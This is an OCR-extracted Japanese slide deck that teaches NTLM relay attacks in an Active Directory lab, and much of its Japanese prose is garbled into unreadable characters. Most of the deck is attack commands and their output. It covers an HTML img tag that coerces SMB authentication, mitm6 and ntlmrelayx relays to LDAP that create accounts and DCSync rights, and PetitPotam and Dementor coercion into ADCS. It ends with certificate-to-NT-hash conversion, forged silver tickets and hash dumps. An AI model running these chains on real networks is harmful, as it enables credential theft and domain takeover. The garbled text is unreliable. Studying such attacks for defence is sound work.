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NTLMEREE 2 Hh— h 9 dxRy hDJO—O8—EX

SMB (J7AILHEF /| TUSHE)

HTTP / HTTPS (IIS)

Windows telnet

IMAP / POP3 / SMTP (Exchange Server)
LDAP / LDAPS (Active Directory)

WCF (Windows Communication Foundation)
Microsoft SQL Server

B ERQSY—-EX (JOMIIL) BTENTLMEREEY L —HVe]Ee ! !
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B SMBRelay
® SMB — SMBI(CZXi. ch (Cult of the Dead Cow) DSir DysticK(C KD
& NTLMERSEU L —WEZERE U, EARATRADY —)L. STIEIAFRHRE

B SmbRelay3
® http://www.tarasco.org/security/smbrelay/index.html
® SMB/HTTP/IMAP/POP3/SMTP — SMBICXitre CNHEHEAETIL)

B Metasploit Framework
® https://github.com/rapid7/metasploit-framework
® smb_relay : SMB — SMB
® http_ntlmrelay : HTTP — HTTP/SMB

B Impacket

® https://github.com/SecureAuthCorp/impacket
® ntlmrelayx : SMB/HTTP/WCF — SMB/HTTP/MSSQL/LDAP/IMAP/POP3



Security
Professionals
Network Inc.

ESTEaT

m DCO1.lab.local : Windows Server 2019 (FX-/>1> ~O—35. RS
H—EX. IIS)

B DCO02.lab.local : Windows Server 2019 (RXr>d> cO—3)
m WSO01.lab.local : Windows 10 (RAXAA>XA> )\, T7AILER)
B SVO1.lab.local : Windows Server 2019 (RXA>X> )\, J71)LHEB)

WEEIID WS01 SV01 DCO1 DCO2
g& > g& ) : :
‘ 139 192.168.159.0/24 ‘ 137 ‘ 138 135 136
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ESTEaT

B INEFIYS > Kali2021.2 (kali-linux-2021.2-live-amd64.iso)
® https://www.kali.org/get-kali/

B NTLMU L —I&EYW—)L : Impacket ntimrelayx-adcs-attack
® https://github.com/ExAndroidDev/impacket/tree/ntimrelayx-adcs-attack
® ADCSIXZER#EEENEBIMENIZImpacketddT S > F

B [Pv6 MITMIREY —)L : Mitm6
® https://github.com/fox-it/mitm6/

B MS-RPRNIZZEYW—)L : Dementor
® https://github.com/NotMedic/NetNTLMtoSilverTicket/blob/master/dementor.py

B MS-EFSRIZZE'Y —)L : PetitPotam
® https://github.com/topotam/PetitPotam

B PKINITESEY —JL : PKINIT tools (gettgtpkinit.py. getnthash.py)
® https://github.com/dirkjanm/PKINITtools
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B 1—5DOWeb77OCRZHALTH—)\NXZ AU L—
o 1—HNWNUOEROIUYD, AT NYHNDARIERST T &R R,
- IRAR&TDOF7OtEX (http://hogefuga/) — HTTP
- IE(CC<img src="¥¥192.168.159.139¥ipc$"></img> — SMB
- WINDBEEOT A 1—Y D7 H0> NTEEBICNTLMEZEEN A
® Impacket ntimrelayx ¢t —/\~¥ = > DSMBAU L —
0 RAAMEREI—TDORIEZ L —TEFE. UL—ENS>ZE O D ENAlEE

Apache?2 \ ‘ Ntlmrelayx

Web7 7+t S _ |
<in<19 src="¥¥192.168.159.139¥ipc$"> SMB NTLMEEZ
SMB NTLM&Z:
>
WS01 WEEEIVY Sv01
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# vi /var/www/html/index.html

<img src="¥¥192.168.159.139¥ipc$"></img>

BIZINASMBV IR T DX DA A—5T7Z WebR—Z (CHDIAF. WebT —ERZCH)
WSOlOD RXA2EEBEI-—IHNTSTY (IE) THEYS >AWeb77 Ot TDDZEFFD

# ntimrelayx.py -t sv01l.lab.local --no-http-server -smb2support

Impacket v0.9.24.devl - Copyright 2021 SecureAuth Corporation

[*] Authenticating against smb://sv01.lab.local a3 LAB/DOMADMIN BUCCEED

[*] Dumping local SAM hashes (uid:rid:Imhash:nthash)
Administrator:500:aad3b435b51404ecaad3b435b51404ee:0dc611932680e66a3a0f0f9cc108648f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6¢cfe0d16ae931b73¢c59d7e0c089¢0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31dbcfe0d16ae931b73¢c59d7e0c089c0:::

— Ntlmrelayx CEF5% (7. domadmind®SMB NTLMEREEZSVO1DSMBAL L —
RX1 > EBIEEER TSVO1ID/\ AT —R/)\wa%=5>T
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B [PV6OMITMIREZFIFA U T A>3 bO—SDLDAPAY L — [1]
® Mitm6 & Impacket ntimrelayx CMITMIZEE

- DHCPV6UUTIRMABUTSA%Z1XD. IPv6 DNSH—/GEEZREE Y > (ChlTD

- {ABOWPAD (Windows Proxy Auto Detection) L AR XA TARERTOFHEZITU.
WebZ Ot ADR(CTOF25E (HTTP NTLMEREE) ZFRETE3

® Impacket ntimrelayx CDCDLDAPAU L —
@ 1> E1—FV NI MIKBFBEI>HANT ADT—EXF oY MHEUSAEE. KX

A BEE I —HICRBIBIE>R A —F LT UT—2 3 > halgeIR 11— 280
Mitm6 Ntimrelayx
DHCPv6J YV T A~ >
< 4') 754 (IPv6 DNSELE) |
WPADU &~ T X LDAP NTLM&25
< AETOXVERE
WSO1 HTTP NTLM&EEGE (T IZI-”F/M.\.:IE)> WEET DCO1
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# mitm6 -hw wsO01 -d lab.local --ignore-nofqdn

— Mitm6%ZXE17. Y—5v h¥> > (WS01) EHEF(ICIPv6 DNSY—) GEENZE

# ntimrelayx.py -t Idaps://dc01.lab.local --delegate-access -wh attacker-wpad
Impacket v0.9.24.devl - Copyright 2021 SecureAuth Corporation
| Authenticating against Idaps://dc01.lab.local a$ LAB¥WS01$ SUCCEED
| Enumerating relayed user's privileges. This may take a while on large domains
*] Attempting to create computer in: CN=Computers,DC=lab,DC=local
]
]
]

Adding new computer withlusername: YDMLORMV$ and password: IpU]@zDpWq7zz(%|result: OK
Delegation rights modified succestully!

YDMLORMVS$ can now impersonate users on WS01$ via S4U2Proxy

— Ntimrelayx TEFS52(1F. WS01DT7OF> M [attacker-wpad| N EEKTE
Web 77 O XRERFICO>ED—F77HT> & (LAB¥WS01$) (CCTHTTPOFS NTLMEREENFHAE
NTLMEREEZDCO1MDLDAPANY L —, izl Ea1—4577100> & (YDMLORMVS) Z1ERK
BEREICLDOELI—F77HT> RYDMLORMVS(EWSO01 _ EDEBE DI —H & {45 0]EE
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# getST.py -spn cifs/ws01.lab.local lab.local/YDMLORMV¥$ -impersonate administrator
Impacket v0.9.24.dev] - Copyright 2021 SecureAuth Corporation

Password:

[*] Getting TGT for user

[*] Impersonating administrator

[*]  Requesting S4U2self

[*]  Requesting S4U2Proxy

[*] Saving ticket in administrator.ccache

— Impacket getSTCHRFEEEKLIEIEA—F77HD> hEIEE L. administrator I—HTD
WS01(Cx I BSMB77 Ot XBADY—EXFo v &R, administrator.ccachellfRfF

# KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass ws01.lab.local

— administrator.ccacheZ{ER L. Impacket secretsdump TWS01D/\XD— R)\wS 1&%S >
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# ntimrelayx.py -t Idaps://dc01.lab.local --delegate-access -wh attacker-wpad
[*] Authenticating against Idaps://dc01.lab.local a§ LAB¥domadmin BUCCEED

[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] User privileges found: Create user

[*] User privileges found: Adding user to a privileged group (Enterprise Admins)

[*] User privileges found: Modifying domain ACL

[*] Attempting to create user in: CN=Users,DC=lab,DC=local
[*]

[*]

[*]

[*]

Adding new user witl username: mjwNvjCMOV and password: [+e@0"{ar)J=eqXx result: OK
Querying domain security descriptor

Success! User mjwNvjCMOV now has Replication-Get-Changes-All privileges on the domain
Try using DCSync with secretsdump.py and this user :)

— Web 77O XFRERICEEE D>~ (LAB¥domadmin) (CCTHTTP O+ NTLMEREENRE
NTLMEZEEZDCO1MLDAPAU L —, $ifelCA—57HD> b (mjwNvijiCMOV) Z1ERK
I—5757> bmjwNVjCMOVICIE R A1 > F—5FDLTUT—> 3 AEREMNMIE

Copyright (C) 2021 Security Professionals Network Inc. 18
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# secretsdump.py lab.local/mjwNviCMOV@dcO01.lab.local
Impacket v0.9.24.dev1 - Copyright 2021 SecureAuth Corporation

Password:

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

[*] Dumping Domain Credentials (domain¥*uid:rid:Imhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b781c07052975018157b018eccfcidf2c::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6efe0d16ae931b73¢c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9cebbd0f7bd850a6ffa9595930adcebb:::
lab.local¥domadmin:1103:aad3b435b51404eeaad3b435b51404ee:c58548ffd910ad371822499dd2332f43::
lab.local¥domuser:1105:aad3b435b51404eeaad3b435b51404ee:308bf9fb9432b1218b4b224ac8996234:::
mjwNvjCMOV:1110:aad3b435b51404eeaad3b435b51404ee:19f4a2b7fadbecld?2745¢c347f183eed1::

— Impacket secretsdump THEIFEEK UTEI—TT7HIO> b ZEIBELU. RAAL>DEIT NI M
B9 3/)\XD—R)\wS1&E&5F>T
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B MS-RPRN (U~ hRT—Z—) ZFIFHULTDCDADCSAU L — [2]
® ADCS - - - Active Directory Certificate Services : ADiEBAZE Y —E X
® DementorC U hRT —=SARFEL TVWBYS INIRE
- RAA2H20WEO-HILDT7HT> ~ (A—YID/)XRXT—R) &
- BELREYS>ICHLTO>EQA—F7770> b TSMB NTLMERESEND R4
® Impacket ntimrelayx CDCOADCSDWeb-1>F—T 11X (IIS) NJUL —
® ADCSAI>E1—A7HT> NADIEIREZREITSE. TNZFALUTHENS AN

IE(CTF7OTEX
Dementor \ ‘ Ntlmrelayx

< SMB#EEH TMS-RPRN7 7t X
SMB NTLMZZEE

HTTP NTLMZREE

>
svo1 WBEILY DCO1
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# python3 dementor.py -d lab.local -u domuser -p DC01domus 192.168.159.139 sv01.lab.local

— DementorzSVO1(CX UEST. WU RXAA >/ 1—H5Z/)\XD— REIEEITDINEHD

# ntimrelayx.py --adcs -t https://dc01.lab.local/certsrv/certfnsh.asp -smb2support
Impacket v0.9.24.devl - Copyright 2021 SecureAuth Corporation

Authenticating against https://dc01.lab.local ag LAB/SV01$ SUCCEED
Generating CSR...

[*]
[*]
[*] CSR generated!
[*]
[*]

Getting certificate...

GOT CERTIFICATE!

[*] Base64 certificate of user SV01$:
MIIQ3QIBAzCCEKcGCSqgGSIb3DQEHAaCCEJgEghCUMIIQkDCCBscGCSqGSIb3DQEHBgCCBrgwggalAg
EAMIIGrQYJKoZIhveNAQcBMBwGCiqgGSIb3DQEMAQ:-----+----- BBAgAUSUdE8|\/|qsg==

==

— Ntimrelayx CEHF5X3(F. SV01$DSMB NTLMEZEEZDCO1MDADCS Web1 > —TJ T A ANYU L —,
SVO1FHMD:FEAZE (Baseb4fzx) =HE

Copyright (C) 2021 Security Professionals Network Inc. 21
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# python3 gettgtpkinit.py -pfx-base64 MIIQ30I------ E8Mqgsg== lab.local/sv01¥$ sv0l.ccache
2021-08-23 07:07:36,078 minikerberos INFO  Loading certificate and key from file

2021-08-23 07:07:36,157 minikerberos INFO  Requesting TGT

2021-08-23 07:07:36,240 minikerberos INFO  AS-REP encryption key (you might need this later):
2021-08-23 07:07:36,241 minikerberos INFO
|ch6c9a74ed951882fa9ce75aa6e329cea806f9a6d7e6ff05786a3250f82d66a
2021-08-23 07:07:36,244 minikerberos INFO  Saved TGT to file

— PKINIT toolstgettgtpkinitZz L), Baseb4:ilFAZEZIETE U CSVO1$DTGTZEUS.
sv01.ccachelliRfF

# KRB5CCNAME=sv01.ccache python3 getnthash.py lab.local/sv01¥$ -key cd06c9a74ed951882fa
75aa6e329cea8c6f9a6d7e6ff05786a3250f82d66a

[*] Using TGT from cache

[*] Requesting ticket to self with PAC

Recovered NT Hash

e2859450567691b294e965109ab4d958

— sv01.ccacheZ{#ER L. PKINIT toolsdgetnthash TSVO1$MDNTLM/\v = 1 ZFKR

Copyright (C) 2021 Security Professionals Network Inc. 22
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# ticketer.py -nthash €2859450567691b294e965109ab4d958 -domain-sid S-1-5-21-28265434-
3432206318-348246998 -domain lab.local -spn cifs/sv01.lab.local administrator
Impacket v0.9.24.dev] - Copyright 2021 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for lab.local/administrator

[*]  EncTicketPart
[(*]  EncTGSRepPart
[*] Saving ticket in administrator.ccache

— Impacket ticketer(CFE(EFEFRRUNTLM/\W = 20 RXAA > SIDEFEZIEFE L. administrator1—Y
TODSVO1(C T BSMB7 I XABADY—EXFS v hZE4%RL. administrator.ccachelC{RTF

# KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass sv01l.lab.local

— administrator.ccacheZ{EH L. Impacket secretsdump TSVO1D/\RXDJ— R)\w 1&545 >
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m MS-EFSR (EFSUE—~JORIIL) ZFALUTDCHADCSAU L— (3
® PetitPotam T I 7MILEBULTWLWBYI IANE
- BAA> S bO—F(ICHUTEITIBDFEEEI—TID )R DT— RHARE
- BELENYSICWHULTOYED1—577HD> N TSMB NTLMEREER R4
® Impacket ntimrelayx CDCDADCSDWeb-1 >S5 —TJ 114 AN L —

® ADCSAO>E1—FT7HD> FADIERAEZFEITSE. TNZHRAUTHERENS AR
IE(C7OTEX

® DCOIAZZFHEITSEONITIHES. PAAHTECER OMSNDIDTIERE(CEIR

PetitPotam \ ‘ Ntlmrelayx

< SMB#ZH TMS-EFSR7 7t X
SMB NTLMZZEE

HTTP NTLMZREE

DC02 WEEITY DCO1

Copyright (C) 2021 Security Professionals Network Inc. 24
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# python3 PetitPotam.py -d lab.local 192.168.159.139 dc02.lab.local

— PetitPotamZzDC02(Zxt UEIT. DCOBRIFI—TEZ//\ADT— RZIEET DIHNERL

# ntimrelayx.py --adcs -t https://dc01.lab.local/certsrv/certfnsh.asp -smb2support --template
DomainController
Impacket v0.9.24.devl - Copyright 2021 SecureAuth Corporation

[*] Authenticating against https://dc01.lab.local ag LAB/DC02$|SUCCEED
[*] GOT CERTIFICATE!
[

*] Baseb4 certificate of user DC029:

MIIRVQIBAzCCER8GCSqGSIb3DQEHAaCCERAEEhEMMIIRCDCCBz8GCSqGSIb3DQEHBgqCCBzAwggcsA
gEAMIIHJQYJKoZlhveNAQcBMBwWGCigGSIb3--««x-ve--- pxBAjoQ4eTnkrzeA==

— Ntimrelayx CEF53 (7. DC02$MDSMB NTLM&EREEZDCO01DADCS Web1 > —J A ANU L —,
DCO2H®D:EEAE (Base6421() Z=HUS

Copyright (C) 2021 Security Professionals Network Inc. 25
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# python3 gettgtpkinit.py -pfx-base64 MIIRVOI------ nkrzeA== lab.local/dc02¥$ dc02.ccache
2021-08-23 07:20:52,603 minikerberos INFO  Loading certificate and key from file

2021-08-23 07:20:52,679 minikerberos INFO  Requesting TGT

2021-08-23 07:20:52,706 minikerberos INFO  AS-REP encryption key (you might need this later):
2021-08-23 07:20:52,707 minikerberos INFO
|aee24c7f88de63301ab9026f57882526a808785bf8d4902c1f888301b5808594
2021-08-23 07:20:52,710 minikerberos INFO  Saved TGT to file

— PKINIT toolstgettgtpkinitZz L), Baseb4:ilAZEZIETE L CDCO2$FDTGT = EUS.
dc02.ccachellfRfF

# KRB5CCNAME=dc02.ccache python3 getnthash.py lab.local/dc02¥$ -key aee24c7f88de63301ab

26f57882526a { f8d4902c1f 1 4
[*] Using TGT from cache

[*] Requesting ticket to self with PAC
Recovered NT Hash
912f356a9f6d443744td4466344b605¢C

— dc02.ccacheZz{#A L. PKINIT toolsdgetnthash ©TDCO02$MDNTLM/\v = 1 ZFKR

Copyright (C) 2021 Security Professionals Network Inc. 26
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# ticketer.py -nthash 912f356a9f6d443744fd4466344b605c -domain-sid S-1-5-21-28265434-
3432206318-348246998 -domain lab.local -spn cifs/dc02.lab.local administrator
Impacket v0.9.24.dev] - Copyright 2021 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for lab.local/administrator

[*]  EncTicketPart
[(*]  EncTGSRepPart
[*] Saving ticket in administrator.ccache

— Impacket ticketer(CFE(EFEFRRUNTLM/\W = 20 RXAA > SIDEFEZIEFE L. administrator1—Y
TODODCO2(CXH T BSMBFZ I ARHDY—EXFS v hE4RL. administrator.ccache(C{FF

# KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass dc02.l1ab.local
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